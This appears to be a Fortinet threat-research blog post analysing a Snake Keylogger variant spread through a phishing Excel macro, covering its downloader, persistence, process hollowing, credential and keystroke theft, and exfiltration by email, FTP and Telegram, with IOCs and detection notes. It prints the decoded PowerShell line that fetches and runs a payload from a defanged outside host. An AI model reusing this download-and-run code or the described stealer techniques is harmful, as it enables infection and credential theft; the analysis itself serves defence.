Deep Dive into a Fresh Variant of Snake Keylogger Malware

fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware

November 4, 2021

Fortinet's FortiGuard Labs recently captured a Microsoft Excel sample from the wild that was used to spread malware. After researching its behaviors, I recognized it as a fresh variant of the Snake Keylogger malware.

Snake Keylogger is a malware developed using .NET. It first appeared in late 2020 and focused on stealing sensitive information from a victim's device, including saved credentials, the victim's keystrokes, screenshots of the victim's screen, and clipboard data.

In July, 2021, Snake Keylogger first entered into a TOP 10 popular malware families report, meaning that the Snake Keylogger family is increasing its influence and impacting more people's devices and sensitive data.

In this threat research blog you will learn how the Snake Keylogger variant is downloaded and executed through a captured Excel sample, what techniques this variant uses to protect it from being analyzed, what sensitive information it steals from a victim's machine, and how it submits that collected data to the attacker.

Affected platforms:	Microsoft Windows
Impacted parties:	Windows Users
Impact:	Collects sensitive information from victims' device
Severity level:	Critical

What the Captured Microsoft Excel Sample Looks Like

This Excel sample, delivered as an attachment in a phishing email, contains malicious Macro VBA code. Figure 1.1 shows a screenshot of when it is opened. It displays a vague picture of a document and asks the victim to click the yellow button to get a clearer image.

Figure 1.1 – The Excel file content when it is opened

Once the yellow button “Enable Content” is clicked by victim, the malicious VBA code is executed in the background. The malicious macro project that contains the malicious VBA code is password protected so it cannot be viewed by the analyzer. However, we were able to modify its binary file to remove this restriction.

Going through its code, a “Workbook_Activate()” method is automatically called when the document is opened. It writes a piece of PowerShell code from a local variable into a BAT file. Figure 1.2 shows partial VBA code of this method, where variable “s” holds the PowerShell code and "Gqyztfbtsogpnruooqr.bat" is the BAT file, which is finally executed by calling code “x = Shell(bat, 0)”.

Figure 1.2 – Macro VBA code executed in background

The bottom of Figure 1.2 shows the content of variable “s”, which contains the base64-encoded PowerShell code that is decoded by PowerShell.exe when it is executed.

Below is the base64-decoded PowerShell code:

$ProcName = "Wheahmnfpgaqse.exe";
(New-Object
System.Net.WebClient).**DownloadFile**("hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")

The PowerShell code is very simple and easy to understand. It downloads a file (“Requests07520000652.exe”) onto a victim’s device, places it at “%AppData%\Wheahmnfpgaqse.exe" by calling “DownloadFile()”, and executes it by calling “Start-Process()”.

Snake Keylogger Downloader

After some research, I learned that the file "Wheahmnfpgaqse.exe" is a downloader of Snake Keylogger, which is a .Net program. When it starts, it sleeps 21 seconds to bypass those sandboxes with a strategy of killing a sample process when a timeout of no-action is triggered.

Figure 2.1 – Downloads & decrypts Snake Keylogger module after a sleep

Twenty one seconds later, the downloader then invokes a function called “Consturctor()”, as you can see in Figure 2.1. It then invokes another function “Program.List_Types()”, where it downloads Snake Keylogger module from the link “hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll”, which is a RC4 encrypted DLL file. Next, it calls “ToRc()” function to RC4 decrypt it using a decryption key "Dllzjn".

It then proceeds to load the decrypted Dll module (a .Net Dll file, called “Huzeigtmvaplpinhoo.dll”), and enumerates its export functions to find "G6doICqoMU()", which is invoked by executing “type.InvokeMember(\"G6doICqoMU\", BindingFlags.InvokeMethod, null, null, null)” in function Consturctor(), as shown in Figure 2.1. The decrypted .Net Dll is a dropper and installer of Snake Keylogger.

Let’s dive into this module to see how it performs its tasks.

Snake Keylogger Installer

According to my analysis, the decrypted Dll module (“Huzeigtmvaplpinhoo.dll”) deploys Snake Keylogger onto a victim’s device and sets it as an auto-run program. It extracts an executable PE file into memory from the Resource directory and then performs process hollowing that injects the executable PE file into a newly created child process and executes it.

I will explain in detail how it performs these functions in this section.

1. Persistence Mechanism

Figure 3.1 – Breaks on the export function “G6doICqoMU()” in the debugger dnSpy

Figure 3.1 shows an outline of the decrypted Dll module (“Huzeigtmvaplpinhoo.dll”). As you can see, to prevent its code from being analyzed the file is obfuscated so that the class names, function names, and variable names are all randomly generated meaningless strings. This creates trouble for analysts when analyzing it.

The full name of the export function “G6doICqoMU()” is “Huzeigtmvaplpinhoo!pXfqpio3clcAoFxTnfJ.CORFgLoyRGlurYwdwIh.G6doICqoMU()”. Again, for the same reason as before, it sleeps 35 seconds at the beginning of this function to bypass some malware analysis systems.

Next, it works to make this Snake Keylogger persistent on the infected Windows. As we all know, a Windows system has a “Startup” folder inside the “Start Menu”. The programs inside this folder are started when Windows starts. The full path to this folder is defined in the system registry with a string value of “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup” and “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup”. The value data of “Startup” is C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” by default.

This variant of Snake Keylogger changes both the values of “Startup” to other folders. Figure 3.2 shows the code changing the Windows startup folder to “C:\Users\M0YTes0Env\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chsg\” by calling the API SetValue(). In the bottom half of Figure 3.2 you can see the content of the system registry path, value name, and new value data.

Figure 3.2 – Change Windows “Startup” folder to a new path

“chsg” is a new folder created by Snake Keylogger. The program copies the Snake Keylogger file (the downloaded "Wheahmnfpgaqse.exe") into this folder and renames it as “sgosr.exe”. This ensures that Snake Keylogger will be started by the Windows system every time it starts.

2. Extraction from Resource

Although the content of Huzeigtmvaplpinhoo.dll only appears in memory, to analyze it I saved it into a local file. It has several resources in the Resource directory, as shown below in Figure 3.3.

Figure 3.3 – Resource directory display of Huzeigtmvaplpinhoo.dll

The process of extracting the payload file of Snake Keylogger is a little complicated. It uses a tricky way to load the resource. It has a local callback function defined by ResolveEventHandler that is registered to AppDomain.ResourceResolve, which is then called when it fails to load a resource by name. It looks like an exception handler to Windows SEH strategy to handle exceptions. In addition, it has another local callback function registered to AppDomain.AssemblyResolve, which is called when it fails to load an assembly (like a module) by name.

Below is a pseudocode of registering a local resource resolve, where T9wOjU5ccxTJaVfUntn.Osc50oil0l is the local callback function.

AppDomain.ResourceResolve += new ResolveEventHandler(T9wOjU5ccxTJaVfUntn.Osc50oil0l)

Now, let’s see how Snake Keylogger solves this challenge—loading a nonexistent resource, which will trigger the resource loading failure. It plans to read a Resource named "Qkxkikeg" from the current module, which has no such named resource in the Resource directory, as you can see in Figure 3.3. A resource loading failure occurs and the registered local ResolveEventHandler function is called to solve this error. This then causes a loading assembly failure and its assembly resolve callback function is called.

A while later, another PE file, decrypted from resource “{d977ee8c-85ce-4731-b9a1-323ba88c6eeb}”, appears in memory. It contains a resource with the name “Qkxkikeg”, which is the original request resource name, as shown in Figure 3.4.

Figure 3.4 – “Qkxkikeg” resource is in another module

The payload of Snake Keylogger is just a compressed in GZIP format in the resource “Qkxkikeg” under the Resource directory “ClassLibrary1.Properties.Resources”.

Figure 3.5 displays the GZIP data of the resource “Qkxkikeg” (reversed) on the left and the decompressed Snake Keylogger on the right side.

Figure 3.5 – Compressed and decompressed data of “Qkxkikeg”

3. Process Hollowing

The program then creates a suspended child process and deploys the compressed Snake Keylogger payload into the child process. It then resumes the child process to run. Meanwhile, the parent process exits by calling the function Environment.Exit(0).

Figure 3.6 – Create a suspended child process

According to the code in Figure 3.6, it is about to call API CreateProcess() to create the child process with Creation Flag 134217732U (0x8000004), which means CREATE_NO_WINDOW and CREATE_SUSPENDED.

It then calls the API WriteProcessMemory() to copy the Snake Keylogger payload into the child process, section by section. It next calls SetThreadContext() to make the child process point to the entry point function of Snake Keylogger. Before the parent process exits, an API ResumeThread() is called to have the child process restored to run.

Snake Keylogger Payload

Figure 4.1 – Fully obfuscated Snake Keylogger payload

The code of the Snake Keylogger payload file is fully obfuscated, as shown in Figure 4.1, to protect it from being analyzed. The class and function names are unreadable.

Therefore, to better analyze and explain its code and intention, I deobfuscated the payload file using the tool “de4dot”. This made its code more readable, and my analysis is based on that result.

Going through the Snake Keylogger code, I realized that it provides features like recording a victim’s keystrokes (the keylogger), stealing data from the clipboard, obtaining a victim’s screenshot, stealing the data on the system clipboard, as well as stealing saved credentials for some specified software clients installed on a victim’s device.

1. Keylogger Feature

Figure 4.2 shows a code snippet of setting up the keylogger.

Figure 4.2 – Initialization of Keylogger

It calls API SetWindowsHookExA() to register a hook callback function(this.callback_ProcessKey()) to monitor low-level keyboard input events. The first parameter is the hook type, where “13” indicates WH_KEYBOARD_LL.

After that, the callback function is called by the Windows system when the victim types, so it is able to handle and record the keystrokes into a global string variable. It also records the foreground Window title to identify where the victim types by calling the APIs GetForegroundWindow() and GetWindowText ().

It also has a Timer (Timer0) that keeps sending the keylogger data to the attacker.

2. Screenshot

It is able to take screenshots of the victim’s device. It has a Timer (Timer1), which captures the victim’s screenshots from time to time by calling API CopyFromScreen(). It saves the screenshot into a local Screenshot.png file in the system’s “MyDocuments” folder. It also sends this picture file to the attacker.

3. System Clipboard

It has two Timers. One (Time2) is used to collect system clipboard data by calling Clipboard.GetText() and save to a global variable. The other (Time3) is used to send collected clipboard data to the attacker.

Figure 4.3 – Timer function to obtain system clipboard data

Figure 4.3 shows the Timer function used to obtain system clipboard data. Every time it counts down it checks to see whether current clipboard data has been collected in the global variable main_cls.string_clipboard_data. If not, it appends the current clipboard data to the global variable.

4. Steal Credentials

Based on my analysis, this variant's main work is to steal credentials from the victim's device. It implements stealing credentials in the Main() function, as shown in Figure 4.4, below.

Figure 4.4 – Main() with functions to steal credentials and submit them

This is the deobfuscated Main() function showing the functions used to steal credentials from various clients. The function at the bottom submits the stolen credentials. These functions obtain the saved credentials for each software from the different places they are save their credentials, including local files (like Chrome) and system registry (like Outlook), etc.

I will now use Outlook as an example to explain how Snake Keylogger collects credentials.

Figure 4.5 is a screenshot of a function that is about to read the credentials of Microsoft Outlook from the system registry. It goes through four registry paths for different Outlook versions to read out (if applicable) "Email" and "IMAP Password" or "POP3 Password" or "HTTP Password" or "SMTP Password" and "SMTP Server".

Figure 4.5 – Function to collect saved credentials for Microsoft Outlook

Below is an example showing what credentials information Snake Keylogger can collect from Microsoft Outlook:

-------- Snake Keylogger --------

Found From: Outlook

URL: smtp.gmail.com

E-Mail: victim_email@gmail.com

PSWD: {Password}

I have categorized those clients that Snake Keylogger focuses on as below:

Web Browsers:

Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser, QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser, Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser, Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa Browser and various browsers designed based on Chromium project.

Email Clients:

Microsoft OutLook, Tencent Foxmail, Mozilla Thunderbird and Postbox.

Other Clients:

FileZilla, Pidgin and Discord.

Sending the Stolen Data to the Attacker

Per the code of this variant of Snake Keylogger, it sends an email to the attacker (using SMTP protocol) to submit the stolen credentials data of the victim.

Snake Keylogger collects basic information regarding the victim's Windows system, like User name, PC name, System Date and Time, Public IP address, and Country, which are put in the header of the collected credentials.

Figure 5.1 – Craft email with stolen credentials

Figure 5.1 shows crafting the email with stolen credentials to be sent to the attacker. The bottom is the email's Subject and Body. The stolen credentials are put in two attachments, "Passwords.txt" and "User.txt". Figure 5.2 is a screenshot of "Password.txt" attached to the email sent to the attacker with basic information and credentials stolen from my testing Windows system.

Figure 5.2 – Example of "Password.txt"

To send stolen data to the attacker, it defines some variables containing the sender's email address, password, SMTP server address, and SMTP port, as shown in figure 5.3. It defines the variables in the class's constructor function.

Figure 5.3 – The attacker's email address is hard-coded in constructor function.

Besides sending data via email, this Snake Keylogger variant also offers FTP and Telegram methods to submit collected sensitive data to the attacker.

For FTP, the attacker needs to set up an FTP server and then tell Snake Keylogger the address of the FTP server and credentials for Snake Keylogger to upload stolen sensitive data.

For Telegram, Snake Keylogger uses the "sendDocument" method of the "Telegram Bot API" to submit its stolen data to the Telegram account that the attacker provides. Refer to Figure 5.4 for more information about the method of Telegram.

Figure 5.4 – Partial code of submitting data using Telegram

Conclusion on Snake Keylogger Malware

In order to better understand the entire process of this malware, I drew a flow chart in Figure 6.1 that outlines the main steps explained in this analysis.

Figure 6.1 – The flow chart of the variant of Snake Keylogger

At the beginning of this analysis, we went through how a malicious Macro inside an Excel document executes PowerShell that downloads the Snake Keylogger's downloader.

Next, I focused more on how the Snake Keylogger installer performs persistence on the victim's device and the complicated, tricky way it extracts the payload of Snake Keylogger.

I then elaborated on the features this variant of Snake Keylogger offers, like recording keystrokes, collecting credentials data, clipboard data, and screenshots.

And finally, I explained how the collected data is submitted to the attacker via email, as well as two other methods: FTP and Telegram.

Fortinet Protections

Fortinet customers are already protected from this malware by FortiGuard's Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:

The malicious Macro inside the Excel sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.

All relevant URLs have been rated as "**Malicious Websites**" by the FortiGuard Web Filtering service.

The original Excel sample and Snake Keylogger downloader files are detected as "**VBA/SnakeKeylogger.84D0!tr**" and "**MSIL/SnakeKeylogger.ADFA!tr**" and are blocked by the FortiGuard AntiVirus service.

FortiEDR detects the downloaded executable file as malicious based on its behavior.

FortiMail protects Fortinet customers by blocking phishing emails.

We also suggest that readers go through the free NSE training: NSE 1 – Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

IOCs

URLs:

"hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe"
"hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll"

Sample SHA-256:

[SOA# 1769.xlsm]
3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04

[Requests07520000652.exe or Wheahmnfpgaqse.exe]
53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05

References:

https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.resourceresolve?view=net-5.0